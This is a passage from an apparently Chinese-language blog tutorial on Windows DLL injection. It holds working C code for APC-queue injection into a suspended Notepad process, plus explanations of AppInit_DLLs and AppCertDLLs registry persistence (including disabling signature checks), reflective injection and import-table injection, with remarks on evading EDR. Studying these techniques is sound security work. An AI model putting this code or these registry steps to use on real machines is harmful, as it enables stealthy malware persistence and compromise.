HANDLE hToken; BOOL fok; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1 ; LookupPrivilegeValue(NULL , SE_DEBUG_NAME, &tp.Privileges[0 ].Luid); tp.Privileges[0 ].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE , &tp, sizeof (tp), NULL , NULL ); fok = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fok; }BOOL ApcInjectDll(DWORD dwPid, char * pszDllName) { EnableDebugPrivilege(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE , dwPid); if (hProcess == NULL ) { printf("openProcess erro! ;" , GetLastError()); return FALSE ; } int nsize = strlen(pszDllName); LPVOID PDDLaddr = VirtualAllocEx(hProcess, NULL , nsize, MEM_COMMIT, PAGE_READWRITE); SIZE_T wWrittenSize = 0 ; WriteProcessMemory(hProcess, PDDLaddr, pszDllName, nsize, &wWrittenSize); HMODULE hmod = GetModuleHandleA("kernel32.dll" ); FARPROC pFuncAddr = GetProcAddress(hmod, "LoadLibraryA" ); THREADENTRY32 te = { 0 }; te.dwSize = sizeof (te); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL ); if (hSnap == INVALID_HANDLE_VALUE) { return FALSE ; } DWORD dwRet = 0 ; HANDLE hThread = NULL ; if (Thread32First(hSnap, &te)) { do { if (te.th32OwnerProcessID == dwPid) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE , te.th32ThreadID); if (hThread) { dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)PDDLaddr); hThread = NULL ; } } } while (Thread32Next(hSnap, &te)); } CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnap); return TRUE ; }int main() { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof (STARTUPINFO); int pid = 0 ; if (CreateProcessA("C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_11.2507.26.0_x64__8wekyb3d8bbwe\\Notepad\\Notepad.exe" , NULL , NULL , NULL , TRUE , CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL , NULL , (LPSTARTUPINFOA)&si, &pi) == FALSE ) { printf("创建进程失败" ); } pid = GetProcessPID("Notepad.exe" ); if (pid == 0 ) { printf("未找到进程" ); return 0 ; } char * dll_path = "F:\\c\\yawatadll\\x64\\Release\\yawatadll.dll" ; if (ApcInjectDll(pid, dll_path)) { ResumeThread(pi.hThread); printf("注入成功" ); return 0 ; } }
AppInit_DLLs注入 原理 这是 Windows 系统为方便进行系统层扩展而提供的机制。加载 user32.dll(几乎所有图形用户界面(GUI)应用都会加载该文件)的应用程序,都会读取由该机制在注册表中指定的动态链接库(DLL)。不过,从 Windows 7 系统开始,需要手动将注册表中的 “LoadAppInit_DLLs” 项设置为 “1”(该值默认为 “0”),并且还需通过设置 “RequireSignedAppInit_DLLs=1” 来强制验证相关 DLL 的数字签名。
流程: 修改注册表项 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,写入 DLL 的路径。
设置 LoadAppInit_DLLs=1(必要时将 RequireSignedAppInit_DLLs 设为 0)。
每当程序加载 user32.dll 时,Windows 加载器会自动调用 LoadLibrary 来加载该列表中的 DLL。
优点是一次设置就能实现全系统注入,且重启后仍持续有效;缺点是特征非常明显,也最容易被发现。
AppCertDLLs注入 原理 这一机制和上面的 AppInit_DLLs 很相似,它处于会话管理器(Session Manager)阶段,任何调用 CreateProcess、WinExec 函数的程序都会先加载该机制在注册表中指定的 DLL。
它比 AppInit_DLLs 更精准,仅针对需要生成子进程的程序流程,常见于防毒软件的动态拦截或家长监控软件中。其缺点与 AppInit_DLLs 类似:需要写入系统注册表,且在现代 Windows 系统中会受到签名限制;此外,仅具备图形界面(GUI-only)的应用程序如果内部不调用 CreateProcess 函数,就不会触发该机制。
反射dll注入 原理 dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性,通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。
常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大,很容易被edr等安全产品检测到。为了弥补这个缺陷,stephen fewer提出了反射式dll注入技术并在github开源 ,反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。
推荐 这里的具体讲述我就给到先知社区的这个大佬的文章了,因为太过于完美了,我不知道写什么。在他这篇文章面前,我再怎么诉说反射dll注入,都不如大家看他的一眼。
自举的代码幽灵——反射DLL注入(Reflective DLL Injection)-先知社区
PE注入 原理 当程序被加载时,系统会根据程序导入表信息来加载需要用到的dll,导入表注入的原理就是修改程序的导入表,将自己的dll添加到程序的导入表中,这样程序运行时可以将自己的DLL加载到程序的进程空间.
具体的可以看下面两个大佬的文章,因为涉及到PE结构,那么过程就会很复杂,一时半会也写不完,后面有时间再填这个坑吧
[原创]PE基础之导入表注入-软件逆向-看雪论坛-安全社区|非营利性质技术交流社区
https://zhuanlan.zhihu.com/p/6905132975
结语 除了本章深入探讨的 DLL 注入技术,还有诸多其他注入技艺。考虑到内容的合理编排,我已将这些独立且内容丰富的技术,如 DLL Hollowing、进程镂空以及特洛伊 DLL 注入(即 DLL 劫持)等,分散到后续专题中进行详细阐述。敬请期待,我将逐一深入剖析这些注入技艺的奥秘。
若有疏漏或不足之处,还请各位不吝赐教。
我是 yawataa,我们下一篇再见!